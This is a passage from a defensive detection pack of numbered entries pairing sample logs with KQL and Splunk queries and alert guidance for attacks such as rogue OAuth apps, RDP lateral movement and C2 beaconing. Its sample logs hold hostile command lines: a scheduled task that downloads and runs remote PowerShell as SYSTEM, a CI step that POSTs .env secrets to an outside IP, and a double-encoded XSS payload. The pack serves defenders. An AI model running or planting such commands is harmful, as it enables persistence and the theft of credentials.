 "Timestamp": "2025-07-01T22:04:35Z",
 "User": "naim.saleh@clientorg.com",
 "AppName": "SecureShareX",
 "ScopesGranted": [
  "https://www.googleapis.com/auth/gmail.modify",
  "https://www.googleapis.com/auth/drive.readonly",
  "https://www.googleapis.com/auth/admin.directory.user.readonly"
 ],
 "ConsentType": "Individual",
 "IP": "192.241.77.12"
}
```


Data Source: Workspace Activity Logs


```
{
 "Event": "App Authorization",
 "User": "naim.saleh@clientorg.com",
 "AppID": "a92kz3-rogue",
 "Scopes": "Gmail.Modify, Drive.ReadOnly",
 "RiskLevel": "High"
}
```


DETECTION QUERY

KQL (GCP logs via Sentinel)

```
GWorkspaceOAuthGrants
| where Scopes has_any ("gmail.modify", "drive.readonly", "admin.directory")
| summarize count() by User, AppName, bin(Timestamp, 1h)
| where count_ > 1
```

SPLUNK

```
index=gcp_oauth OR index=gsuite_logs
| search Scopes="*gmail.modify*" OR Scopes="*drive.readonly*"
| stats count by User, AppName, AppID, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious OAuth App Authorized - SecureShareX
Severity: High
Description: naim.saleh@clientorg.com authorized a 3rd-party app with Gmail and Drive access scopes. App was not in pre-approved list.
Recommended Action:

- Revoke app access from user account
- Investigate scope usage via Gmail/Drive logs
- Check for lateral authorization abuse
- Add app ID to OAuth deny list if confirmed malicious

DETECTION PACK ENTRY 18
USE CASE: CREDENTIAL HARVESTING VIA ROGUE WI-FI ACCESS POINT
TACTIC: CREDENTIAL ACCESS
TECHNIQUE: T1557.002 - ADVERSARY-IN-THE-MIDDLE: WI-FI
ENVIRONMENT: NDR + EDR + WIRELESS CONTROLLER LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Wireless Controller Event Logs


```
{
 "Timestamp": "2025-07-01T23:51:02Z",
 "SSID": "CorpGuest",
 "DeviceMAC": "00:1a:2b:3c:4d:5e",
 "SignalStrength": "-40 dBm",
 "AccessPoint": "Unregistered",
 "Location": "HQ-Lobby"
}
```


Data Source: NDR Logs


```
{
 "SourceMAC": "00:1a:2b:3c:4d:5e",
 "TrafficPattern": "Captive portal phishing login page",
 "TLSInspection": "Self-signed certs detected",
 "AnomalyScore": "High"
}
```


DETECTION QUERY

KQL (NDR telemetry via Sentinel)

```
NDRWirelessEvents
| where AccessPointStatus == "Unregistered"
| where SignalStrength > -50
| where TrafficPattern has "phishing" or TLSInspection has "self-signed"
| project Timestamp, SSID, DeviceMAC, Location
```

SPLUNK

```
index=ndr OR index=wifi_logs
| search AccessPoint="Unregistered" SignalStrength>-50
| search TLSInspection="*self-signed*" OR TrafficPattern="*phishing*"
```

| stats count by DeviceMAC, SSID, Location, _time

ALERT OUTPUT EXAMPLE

Alert Name: Rogue Wi-Fi AP Captive Portal Phishing Detected
Severity: High
Description: Device 00:1a:2b:3c:4d:5e broadcasted a fake CorpGuest SSID near HQ lobby. Phishing portal and self-signed TLS cert observed.
Recommended Action:

- Locate rogue AP physically and disconnect
- Notify all users of potential credential compromise
- Reset credentials of users who connected recently
- Enable wireless intrusion prevention in critical areas

DETECTION PACK ENTRY 19
USE CASE: LATERAL MOVEMENT VIA REMOTE DESKTOP PROTOCOL (RDP)
TACTIC: LATERAL MOVEMENT
TECHNIQUE: T1021.001 - REMOTE SERVICES: RDP
ENVIRONMENT: WINDOWS + FIREWALL LOGS + SYSMON

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Windows Event Log (4624 + 4778)


```
{
 "Timestamp": "2025-07-02T08:33:42Z",
 "EventID": 4624,
 "LogonType": 10,
 "User": "internal.support",
 "SourceIP": "10.1.10.25",
 "TargetHost": "FIN-DB-02",
 "Authentication": "NTLM"
}
```


Data Source: Sysmon Event ID 3 (Network Connection)


```
{
 "Timestamp": "2025-07-02T08:33:43Z",
 "SourceImage": "C:\\Windows\\System32\\mstsc.exe",
 "DestinationIP": "10.1.10.40",
 "DestinationPort": 3389,
 "InitiatingUser": "internal.support"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
SecurityEvent
| where EventID == 4624 and LogonType == 10
| join kind=inner (
   DeviceNetworkEvents
   | where RemotePort == 3389
) on AccountName
| project Timestamp, AccountName, RemoteIP, DeviceName, AuthenticationProtocol
```

SPLUNK

```
index=wineventlog OR index=sysmon
| search EventCode=4624 LogonType=10
| join AccountName [
  search index=sysmon DestinationPort=3389
]
| stats count by AccountName, SourceIP, DestinationIP, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious RDP-Based Lateral Movement
Severity: High
Description: RDP session initiated by internal.support from 10.1.10.25 to FIN-DB-02. NTLM used instead of Kerberos, suggesting potential pass-the-hash.
Recommended Action:

- Validate if user was assigned such access
- Review access logs for other RDP attempts
- Check for signs of credential theft or misuse
- Consider disabling NTLM fallback in domain policy

DETECTION PACK ENTRY 20
USE CASE: MALICIOUS EXCEL MACRO EXECUTION
TACTIC: EXECUTION
TECHNIQUE: T1203 - EXPLOITATION FOR CLIENT EXECUTION
ENVIRONMENT: EDR + DEFENDER + OFFICE TELEMETRY

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: EDR and Microsoft Defender


```
{
 "Timestamp": "2025-07-02T10:02:10Z",
 "FileName": "Invoice_Q3_2025.xlsm",
 "Source": "Email attachment",
 "MacroExecution": "Enabled",
 "ObservedBehaviour": [
  "PowerShell execution",
  "Download from 77.89.56.11/payload.ps1"
 ],
 "Device": "HR-WS-09",
 "User": "afrina.mahmood"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where FileName endswith ".xlsm"
| join kind=inner (
   DeviceNetworkEvents
   | where RemoteUrl has "payload.ps1"
) on DeviceId
| project Timestamp, AccountName, FileName, RemoteUrl, DeviceName
```

SPLUNK

```
index=edr_logs OR index=defender
| search FileName="*.xlsm" AND CommandLine="*powershell*" AND
URL="*payload.ps1*"
| stats count by User, DeviceName, FileName, URL, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Malicious Excel Macro Triggered Payload Download
Severity: High
Description: A macro-enabled Excel file executed PowerShell and downloaded a payload from 77.89.56.11 on host HR-WS-09.
Recommended Action:

- Isolate host and terminate running script
- Remove macro file from user mailboxes if applicable
- Update email protection policy to sandbox macro-enabled attachments
- Conduct memory and disk analysis on affected endpoint

DETECTION PACK ENTRY 21
USE CASE: INSIDER PRIVILEGE ABUSE – ACCESS OUTSIDE JOB SCOPE
TACTIC: COLLECTION / EXFILTRATION
TECHNIQUE: T1081 - CREDENTIALS IN FILES / T1537 - TRANSFER DATA TO CLOUD
ENVIRONMENT: FILE ACCESS LOGS + DLP + UEBA

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: File Server Access Logs


```
{
 "Timestamp": "2025-07-02T11:12:00Z",
 "User": "shazwan.kamil@clientorg.com",
 "Device": "HR-WS-12",
 "AccessedFolder": "\\FINANCE01\\Sensitive\\SalaryBreakdown\\",
 "FilesAccessed": 38,
 "JobTitle": "HR Assistant"
}
```


Data Source: UEBA Alert


```
{
 "User": "shazwan.kamil@clientorg.com",
 "AnomalyType": "Access to finance files outside department",
 "BaselineAccess": "0 files/week",
 "CurrentAccess": "38 files",
 "PeerGroup": "HR"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
FileAccessLogs
| where FolderPath contains "Finance" and AccountName endswith "@clientorg.com"
| summarize FileAccessCount = count() by AccountName, FolderPath, bin(Timestamp, 1h)
| join kind=inner (
   UEBAAlerts
   | where AnomalyType has "outside department"
) on AccountName
```

SPLUNK

```
index=file_server_logs OR index=ueba
| search FolderPath="*Finance*" AND JobTitle="HR Assistant"
| stats count by User, FolderPath, _time
| where count > 20
```

ALERT OUTPUT EXAMPLE

Alert Name: Insider Access to Privileged Finance Files
Severity: Medium–High
Description: shazwan.kamil@clientorg.com accessed 38 salary-related finance files. Access was outside their HR role, flagged by UEBA as anomalous.
Recommended Action:

- Interview user and HR about access requirement
- Review change history of accessed files
- Apply file access restrictions and segmentation
- Monitor cloud upload or USB transfer attempts

DETECTION PACK ENTRY 22
USE CASE: WAF BYPASS VIA ENCODED PAYLOAD INJECTION
TACTIC: INITIAL ACCESS
TECHNIQUE: T1190 - EXPLOIT PUBLIC-FACING APPLICATION
ENVIRONMENT: WEB SERVER LOGS + WAF + SIEM

ARTIFACTS (LOG OUTPUTS) EXAMPLE


```
{
 "Timestamp": "2025-07-02T13:47:30Z",
 "SourceIP": "185.104.78.45",
 "Request": "GET /search.php?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E
HTTP/1.1",
 "DecodedPayload": "<script>alert(1)</script>",
 "UserAgent": "curl/7.81.0"
}
```


Data Source: WAF Logs


```
{
 "Timestamp": "2025-07-02T13:47:31Z",
 "DetectionStatus": "Allowed",
 "RuleEvaluation": "Passed",
 "Reason": "Payload encoding not recognized",
 "RuleSet": "Basic XSS"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
WAFLogs
| where RequestUri has "%253Cscript%253E" or RequestUri has "%252Fscript%253E"
| extend DecodedPayload = url_decode(url_decode(RequestUri))
| where DecodedPayload has "<script>" or DecodedPayload has "alert"
| project Timestamp, SourceIP, RequestUri, DecodedPayload, DetectionStatus
```

SPLUNK

```
index=web_logs OR index=waf_logs
| eval DecodedRequest=urldecode(urldecode(Request))
| search DecodedRequest="*<script>*" OR DecodedRequest="*alert*"
| stats count by SourceIP, DecodedRequest, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: WAF Bypass Attempt via Double-Encoded Payload
Severity: High
Description: An attacker from 185.104.78.45 sent a double URL-encoded XSS payload that bypassed standard WAF XSS rules.
Recommended Action:

- Block IP and inspect WAF rule configuration
- Re-test WAF against double encoding and evasions
- Check web server error logs and parameter handling
- Apply strict content validation on backend

DETECTION PACK ENTRY 23
USE CASE: CLOUD API ABUSE VIA LEAKED TOKEN
TACTIC: INITIAL ACCESS
TECHNIQUE: T1528 - STEAL APPLICATION ACCESS TOKEN
ENVIRONMENT: CLOUDTRAIL + GIT LOGS + CSPM

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GitHub Code Push Logs


```
{
 "Timestamp": "2025-07-02T15:21:14Z",
 "User": "intern-dev",
 "Repository": "clientorg/web-admin",
 "File": "config.py",
 "CommitMsg": "initial test commit",
 "ExposedValue": "aws_access_key_id = 'AKIAIOSFODNN7EXAMPLE'"
}
```


Data Source: AWS CloudTrail


```
{
 "EventTime": "2025-07-02T15:23:30Z",
 "AccessKeyId": "AKIAIOSFODNN7EXAMPLE",
 "EventName": "ListBuckets",
 "SourceIP": "137.184.99.18",
 "UserAgent": "python-boto3/1.26",
 "Action": "Successful"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel – AWS ingestion)

```
AWSCloudTrail
| where UserAgent has "boto3" and EventName has "ListBuckets"
| where SourceIpAddress != "approved_org_ips"
| join kind=inner (
   GitRepoEvents
   | where File contains "config" and ExposedValue has "AKIA"
) on AccessKeyId
| project EventTime, User, File, CommitMsg, SourceIpAddress
```

SPLUNK

```
index=cloudtrail OR index=git_commits
| search AccessKeyId="AKIA*" EventName="ListBuckets"
| join AccessKeyId [
  search index=git_commits File="*config*" AND CommitMsg="*initial*"
]
| stats count by User, AccessKeyId, SourceIP, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: AWS Key Used After GitHub Exposure
Severity: Critical
Description: AWS key AKIAIOSFODNN7EXAMPLE was leaked via GitHub by intern-dev and then used from an external IP (137.184.99.18) to list S3 buckets.
Recommended Action:

- Immediately revoke exposed keys
- Enable AWS access key scanning in code repos
- Review activity logs for all exposed keys
- Educate developers on secure secret storage (e.g., AWS Secrets Manager, environment variables)

DETECTION PACK ENTRY 24
USE CASE: SUPPLY CHAIN ATTACK VIA COMPROMISED SCRIPT LOADER
TACTIC: INITIAL ACCESS
TECHNIQUE: T1195.002 - COMPROMISE SOFTWARE DEPENDENCIES AND DEVELOPMENT TOOLS
ENVIRONMENT: WEB LOGS + CDN + SIEM

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: CDN and Web Server Logs


```
{
  "Timestamp": "2025-07-02T16:18:09Z",
  "RequestedScript": "https://cdn.clientorg.com/lib/jquery.min.js",
  "Checksum": "f64dff2e13d87760e9d2...",
  "ExpectedChecksum": "a69a9eaf3410eaeaf78b...",
  "Anomaly": "Script hash mismatch",
  "InjectionDetected": "Yes"
}
```


Data Source: Web App Firewall


```
{
  "ScriptOrigin": "cdn.clientorg.com",
  "ScriptIntegrity": "Failed",
  "AnomalyScore": "High",
  "InjectedCode": "var stealCreds = new XMLHttpRequest(); stealCreds.open(...)"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
CDNLogs
| where RequestedScript endswith ".js"
| extend ActualChecksum = hash_sha256(ScriptContent)
| where ActualChecksum != ExpectedChecksum
| join kind=inner (
   WAFLogs
   | where InjectedCode has "XMLHttpRequest"
) on RequestedScript
```

SPLUNK

```
index=cdn_logs OR index=waf_logs
| search RequestedScript="*.js"
| eval IntegrityFailed=if(Checksum!=ExpectedChecksum, "true", "false")
| search IntegrityFailed="true"
| search InjectedCode="*XMLHttpRequest*"
| stats count by RequestedScript, InjectedCode, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Malicious Code Detected in CDN JavaScript Loader
Severity: High
Description: A compromised jquery.min.js file on CDN server had a hash mismatch and embedded code attempting to steal credentials via XMLHttpRequest.
Recommended Action:

- Replace compromised script on CDN
- Audit CDN uploads and integrity validation procedures
- Notify users to invalidate sessions if exposed
- Integrate Subresource Integrity (SRI) checks in HTML

DETECTION PACK ENTRY 25
USE CASE: REMOTE SCHEDULED TASK VIA WINDOWS UPDATE IMPERSONATION
TACTIC: PERSISTENCE / PRIVILEGE ESCALATION
TECHNIQUE: T1053.005 - SCHEDULED TASK / JOB: SCHEDULED TASK
ENVIRONMENT: SYSMON + WINDOWS LOGS

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1


```
{
 "Timestamp": "2025-07-03T08:14:42Z",
 "Image": "C:\\Windows\\System32\\schtasks.exe",
 "CommandLine": "schtasks /create /tn \"WinUpdateSvc\" /tr \"powershell.exe -nop -w
hidden -c IEX((New-Object Net.WebClient).DownloadString('http://203.0.113.45/u.ps1'))\"
/sc daily /ru SYSTEM",
 "User": "svc.deploy",
 "ParentImage": "cmd.exe",
 "Device": "DC-CORE-01"
}
```


Data Source: Windows Event ID 4698 (Task Creation)


```
{
 "ScheduledTaskName": "WinUpdateSvc",
 "Author": "svc.deploy",
 "RunAs": "SYSTEM",
 "Trigger": "Daily",
 "Command": "powershell.exe ...",
 "ExecutionContext": "HighestAvailable"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where FileName == "schtasks.exe" and ProcessCommandLine has_any
("WinUpdateSvc", "powershell", "DownloadString")
| join kind=inner (
   SecurityEvent
   | where EventID == 4698 and SubjectUserName !in ("Administrator", "SYSTEM")
```

) on DeviceName
| project Timestamp, AccountName, ProcessCommandLine, DeviceName

SPLUNK

index=sysmon OR index=wineventlog
| search CommandLine="*WinUpdateSvc*" AND CommandLine="*DownloadString*"
| stats count by User, DeviceName, CommandLine, _time

ALERT OUTPUT EXAMPLE

Alert Name: Malicious Scheduled Task Masquerading as Windows Update
Severity: High
Description: Task WinUpdateSvc created by svc.deploy on DC-CORE-01 runs PowerShell from a remote source as SYSTEM daily. Likely persistence technique.
Recommended Action:

- Delete scheduled task and block external IP
- Review all SYSTEM-scheduled tasks for anomalies
- Audit service account privileges
- Conduct forensic review of system for persistence

DETECTION PACK ENTRY 26
USE CASE: ABUSE OF OAUTH REFRESH TOKEN MECHANISM
TACTIC: DEFENSE EVASION
TECHNIQUE: T1528 - STEAL APPLICATION ACCESS TOKEN
ENVIRONMENT: IDENTITY LOGS + CLOUD APP SECURITY + UEBA

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Azure AD Sign-in Logs


```
{
 "Timestamp": "2025-07-03T10:29:55Z",
 "UserPrincipalName": "nina.liew@clientorg.com",
 "AppDisplayName": "Google Drive Integration",
 "AuthenticationMethod": "RefreshToken",
 "IP": "185.99.73.17",
 "Location": "Ukraine",
 "Result": "Success",
 "AuthContextClass": "PreviouslyGrantedRefreshToken"
}
```


Data Source: CASB / MCAS Logs


```
{
 "User": "nina.liew@clientorg.com",
 "Application": "Google Drive",
 "TokenType": "Refresh",
 "Detection": "Token reuse from foreign IP",
 "Confidence": "High"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
SigninLogs
| where AuthenticationRequirement has "RefreshToken"
| where LocationDetails !in ("Malaysia", "Singapore", "approved_geo")
| project Timestamp, UserPrincipalName, AppDisplayName, IPAddress
```

SPLUNK

```
index=azure_signinlogs OR index=casb_logs
```

```
| search AuthenticationMethod="RefreshToken"
| search IP!="approved_range"
| stats count by UserPrincipalName, AppDisplayName, IP, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Suspicious Reuse of OAuth Refresh Token from Foreign IP
Severity: High
Description: OAuth refresh token for nina.liew@clientorg.com was reused from an IP in Ukraine, likely stolen and reused to maintain persistence.
Recommended Action:

- Invalidate current refresh token for the app
- Require full re-authentication for the user
- Review app permissions and audit OAuth grants
- Notify user and rotate access to third-party apps

DETECTION PACK ENTRY 27
USE CASE: INSIDER LOG DELETION TO COVER FILE ACCESS
TACTIC: DEFENSE EVASION
TECHNIQUE: T1070.002 - CLEAR WINDOWS EVENT LOGS
ENVIRONMENT: WINDOWS SECURITY LOGS + FILE ACCESS LOGS + SYSMON

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Windows Security Logs (Event ID 1102)


```
{
 "Timestamp": "2025-07-03T13:12:00Z",
 "User": "asma.farid@clientorg.com",
 "EventID": 1102,
 "Message": "The audit log was cleared.",
 "LogCleared": "Security",
 "Device": "LEGAL-WS-05"
}
```


Data Source: File Access Logs (before 1102 event)


```
{
 "User": "asma.farid@clientorg.com",
 "FileAccessed": "\\LegalVault\\CaseFiles\\Private\\",
 "FilesAccessed": 18,
 "Timestamp": "2025-07-03T13:08:30Z"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
SecurityEvent
| where EventID == 1102
| join kind=inner (
   FileAccessLogs
   | where Timestamp between (ago(10m) .. now())
) on AccountName
| project Timestamp, AccountName, FileAccessed, DeviceName
```

SPLUNK

```
index=wineventlog EventCode=1102
| join AccountName [
  search index=file_access_logs earliest=-10m
]
| stats count by AccountName, DeviceName, FileAccessed, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Security Log Cleared After Accessing Confidential Files
Severity: High
Description: asma.farid@clientorg.com accessed confidential legal files and cleared the Windows Security log (Event ID 1102) minutes later.
Recommended Action:

- Isolate host LEGAL-WS-05 for forensic triage
- Recover logs from SIEM or backup archive
- Notify legal and HR teams for potential insider threat
- Enable tamper protection and alert on 1102 events org-wide

DETECTION PACK ENTRY 28
USE CASE: BEACONING TO KNOWN C2 INFRASTRUCTURE
TACTIC: COMMAND AND CONTROL
TECHNIQUE: T1071.001 - APPLICATION LAYER PROTOCOL: WEB
ENVIRONMENT: NDR + PROXY LOGS + THREAT INTELLIGENCE

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Proxy Logs


```
 "Timestamp": "2025-07-03T14:40:19Z",
 "SourceIP": "10.15.34.67",
 "Domain": "cdn.secure-akamaie.com",
 "RequestsPerHour": 134,
 "BytesSent": 17 KB,
 "BytesReceived": 1.6 KB,
 "UserAgent": "python-requests/2.31"
}
```


Data Source: Threat Intelligence Feed


```
{
 "Domain": "cdn.secure-akamaie.com",
 "TLP": "White",
 "ThreatType": "C2 Beacon Infrastructure",
 "AssociatedAPT": "APT47"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
ProxyLogs
| where Domain in~ ("cdn.secure-akamaie.com", "news.g00gle-security[.]com")
| summarize Count = count(), AvgInterval = avg(toint(InterRequestDelay)) by SourceIP,
Domain, bin(Timestamp, 1h)
| where Count > 100 and AvgInterval between (60 .. 70)
```

SPLUNK

```
index=proxy_logs
| search Domain="cdn.secure-akamaie.com"
| bucket _time span=1h
```

| stats count as RequestCount sum(BytesReceived) as BR sum(BytesSent) as BS by SourceIP, Domain, _time
| where RequestCount > 100 AND BR < 5000

ALERT OUTPUT EXAMPLE

Alert Name: Beaconing to Known C2 Domain (APT47 Infrastructure)
Severity: High
Description: Device 10.15.34.67 made 134 HTTP requests to cdn.secure-akamaie.com, a domain associated with APT47 C2 infrastructure. Traffic volume is low, consistent with beaconing.
Recommended Action:

- Isolate and inspect endpoint memory for implants
- Correlate with EDR for suspicious child processes
- Block domain and review DNS history
- Tag IP in SIEM for further IOC correlation

DETECTION PACK ENTRY 29
USE CASE: KERBEROS PASS-THE-TICKET (PTT) ATTACK
TACTIC: LATERAL MOVEMENT
TECHNIQUE: T1550.003 - USE ALTERNATE AUTHENTICATION MATERIAL: KERBEROS TICKETS
ENVIRONMENT: AD LOGS + EDR + SYSMON

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Windows Event ID 4769


```
{
 "Timestamp": "2025-07-03T15:11:44Z",
 "User": "svc.web01@clientorg.com",
 "ServiceName": "cifs/SERVER-DB01",
 "IP": "10.11.2.100",
 "TicketEncryptionType": "0x17 (RC4)",
 "FailureReason": "N/A",
 "EventID": 4769
}
```


Data Source: EDR Detection


```
{
 "Timestamp": "2025-07-03T15:12:03Z",
 "AlertType": "Unusual Kerberos Ticket Injection",
 "Technique": "Pass-the-Ticket",
 "Process": "misc.exe",
 "InjectedTicketHash": "rc4-hmac (0x17)",
 "User": "svc.web01"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
SecurityEvent
| where EventID == 4769 and TicketEncryptionType == "0x17"
| summarize Count = count() by Account, ServiceName, IPAddress, bin(TimeGenerated, 1h)
| join kind=inner (
   DeviceAlertEvents
   | where Title has "Ticket Injection"
```

) on Account

SPLUNK

```
index=wineventlog OR index=edr_logs
| search EventCode=4769 TicketEncryptionType="0x17"
| join User [
  search index=edr_logs AlertType="*Ticket Injection*"
]
| stats count by User, ServiceName, IP, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Kerberos Ticket Injection (Pass-the-Ticket) Detected
Severity: High
Description: Account svc.web01 used an RC4-encrypted Kerberos ticket for accessing SERVER-DB01. EDR flagged memory injection of the ticket via misc.exe.
Recommended Action:

- Investigate how ticket was obtained (e.g., LSASS dump)
- Rotate service account password
- Enable AES encryption and disable RC4 on domain
- Monitor for further lateral movement using ticket reuse

DETECTION PACK ENTRY 30
USE CASE: SUSPICIOUS FILE RENAMING TO EVADE DETECTION
TACTIC: DEFENSE EVASION
TECHNIQUE: T1036.003 - MASQUERADING: RENAME SYSTEM UTILITIES
ENVIRONMENT: EDR + SYSMON

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Sysmon Event ID 1


```
{
 "Timestamp": "2025-07-03T15:59:02Z",
 "OriginalFile": "powershell.exe",
 "RenamedAs": "update_task.exe",
 "Path": "C:\\Users\\Public\\Tools\\update_task.exe",
 "User": "temp.operator",
 "ParentProcess": "explorer.exe"
}
```


Data Source: DeviceProcessEvents


```
{
 "Device": "ENG-WS-22",
 "ProcessName": "update_task.exe",
 "CommandLine": "update_task.exe -nop -w hidden -c IEX(...)",
 "Detection": "Renamed system binary with execution",
 "Score": "High"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceProcessEvents
| where FileName endswith ".exe" and OriginalFileName == "powershell.exe"
| where FileName != "powershell.exe"
| project Timestamp, DeviceName, AccountName, FileName, OriginalFileName,
ProcessCommandLine
```

SPLUNK

```
index=edr_logs OR index=sysmon
| search OriginalFile="powershell.exe" FileName!="powershell.exe"
```

| stats count by User, FileName, OriginalFile, CommandLine, _time

ALERT OUTPUT EXAMPLE

Alert Name: System Binary Renamed to Evade Detection
Severity: High
Description: PowerShell was renamed as update_task.exe by temp.operator and executed with suspicious flags. Common evasion technique seen in malware campaigns.
Recommended Action:

- Kill the process and delete renamed binary
- Review user context and potential malware drops
- Block renamed system binaries from execution via AppLocker
- Hunt for similar renaming patterns across estate

DETECTION PACK ENTRY 31
USE CASE: CI/CD PIPELINE COMPROMISE VIA MALICIOUS GITHUB ACTIONS
TACTIC: INITIAL ACCESS / EXECUTION
TECHNIQUE: T1195.003 - SUPPLY CHAIN COMPROMISE: CI/CD CONFIGURATION
ENVIRONMENT: GITHUB LOGS + GITHUB ACTIONS + CSPM

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: GitHub Actions Audit Logs


```
{
 "Timestamp": "2025-07-04T08:44:10Z",
 "Repository": "clientorg/app-backend",
 "Workflow": "ci.yml",
 "InitiatedBy": "external-contrib",
 "StepExecuted": "curl -X POST http://198.51.100.23:8080/ --data @.env",
 "Outcome": "Success",
 "Runner": "ubuntu-latest"
}
```


Data Source: Git Commit Log


```
{
 "CommitHash": "9b3a8d1",
 "Contributor": "external-contrib",
 "Change": "Modified ci.yml to add external data post step",
 "Detection": "No code review on pull request",
 "Repository": "clientorg/app-backend"
}
```


DETECTION QUERY

KQL (via GitHub Audit API logs in Sentinel)

```
GitHubAuditLogs
| where Action == "workflow_run" and StepExecuted has "curl" and StepExecuted has
"@.env"
| join kind=inner (
   GitCommits
   | where Contributor !in ("trusted_users")
) on Repository
```

```
| project Timestamp, Repository, Contributor, StepExecuted
```

SPLUNK

```
index=github_logs OR index=ci_cd
| search StepExecuted="*curl*" StepExecuted="*@.env*"
| join Contributor [
  search index=git_commits NOT Contributor IN ("trusted_users")
]
| stats count by Repository, Contributor, StepExecuted, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: CI/CD Abuse – Malicious GitHub Actions Step Injected
Severity: Critical
Description: An unreviewed pull request modified ci.yml to POST .env files to an external server. Detected on clientorg/app-backend.
Recommended Action:

- Revoke and rotate leaked secrets
- Audit all recent merges for workflow manipulation
- Enforce code reviews and GitHub branch protections
- Block outgoing traffic from runners to untrusted IPs

DETECTION PACK ENTRY 32
USE CASE: DATA EXFILTRATION VIA CLOUD STORAGE SYNC CLIENT
TACTIC: EXFILTRATION
TECHNIQUE: T1567.002 - EXFILTRATION TO CLOUD STORAGE
ENVIRONMENT: FILE ACCESS LOGS + NETWORK PROXY + DLP

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: File Monitoring Logs


```
{
 "Timestamp": "2025-07-04T09:52:33Z",
 "Device": "OPS-WS-11",
 "User": "kyle.wong@clientorg.com",
 "FilesMoved": 243,
 "Folder": "C:\\Users\\kyle.wong\\OneDrive\\Sync",
 "TotalSize": "1.8GB"
}
```


Data Source: Proxy Logs


```
{
 "Destination": "onedrive.live.com",
 "TrafficType": "Upload",
 "BytesSent": 1.86GB,
 "Timestamp": "2025-07-04T09:53:10Z",
 "Application": "OneDrive.exe"
}
```


DETECTION QUERY

KQL (Microsoft Sentinel)

```
DeviceFileEvents
| where FolderPath contains "OneDrive\\Sync"
| summarize TotalFiles = count(), TotalSize = sum(FileSize) by AccountName,
bin(Timestamp, 30m)
| join kind=inner (
   ProxyLogs
   | where Url contains "onedrive.live.com" and BytesSent > 1000000000
) on AccountName
```

SPLUNK

```
index=file_logs OR index=proxy_logs
| search FolderPath="*\\OneDrive\\Sync*" AND Url="*onedrive.live.com*"
| stats count as FilesMoved sum(BytesSent) as GBSent by User, Device, _time
| where GBSent > 1000000000
```

ALERT OUTPUT EXAMPLE

Alert Name: Data Exfiltration via OneDrive Sync
Severity: High
Description: kyle.wong@clientorg.com transferred ~1.8GB of data into his OneDrive sync folder, which was uploaded externally shortly after.
Recommended Action:

- Confirm if OneDrive usage is permitted
- Suspend syncing and isolate endpoint
- Investigate accessed files and content classification
- Monitor for other sync clients in use across network

DETECTION PACK ENTRY 33
USE CASE: CANARY TOKEN TRIGGERED – DOCUMENT ENUMERATION DETECTED
TACTIC: DISCOVERY / INITIAL ACCESS
TECHNIQUE: T1087.002 - ACCOUNT DISCOVERY: DOMAIN ACCOUNTS
ENVIRONMENT: FILE SHARE + CANARY TOKENS + SIEM

ARTIFACTS (LOG OUTPUTS) EXAMPLE

Data Source: Canarytoken Trigger (Webhook or Email Log)


```
{
  "Timestamp": "2025-07-04T11:18:48Z",
  "TokenType": "MS Word Doc (Fake CV)",
  "TokenLabel": "HR_Candidate_List.docx",
  "TriggeredBy": "unknown@internal-device.local",
  "TriggerIP": "10.33.4.98",
  "TriggerMethod": "Open/Preview in Word"
}
```


Data Source: AD + File Share Logs


```
{
  "User": "unknown",
  "Accessed": "\\HR-SHARE\\Hiring\\HR_Candidate_List.docx",
  "Time": "2025-07-04T11:18:46Z"
}
```


DETECTION QUERY

KQL (Custom Canary Log Ingest)

```
CanaryEvents
| where TokenLabel == "HR_Candidate_List.docx"
| project Timestamp, TriggerIP, TriggerMethod
| join kind=inner (
   FileAccessLogs
   | where FileName == "HR_Candidate_List.docx"
) on Timestamp
```

SPLUNK

```
index=canary_tokens OR index=fileshare
```

```
| search FileName="HR_Candidate_List.docx"
| stats count by User, TriggerIP, TriggerMethod, _time
```

ALERT OUTPUT EXAMPLE

Alert Name: Canary Token Triggered – Unauthorized Access to Fake CV
Severity: High
Description: A decoy document named HR_Candidate_List.docx triggered a canary token when opened from IP 10.33.4.98. Indicates document scanning or enumeration attempt.
Recommended Action:

- Investigate triggering system and user session
- Monitor lateral movement and credential access attempts
- Confirm that file shares are segmented and tokens are active
- Expand deception coverage to other sensitive folders

DETECTION PACK ENTRY 34
USE CASE: WMI EVENT SUBSCRIPTION FOR PERSISTENCE
TACTIC: PERSISTENCE
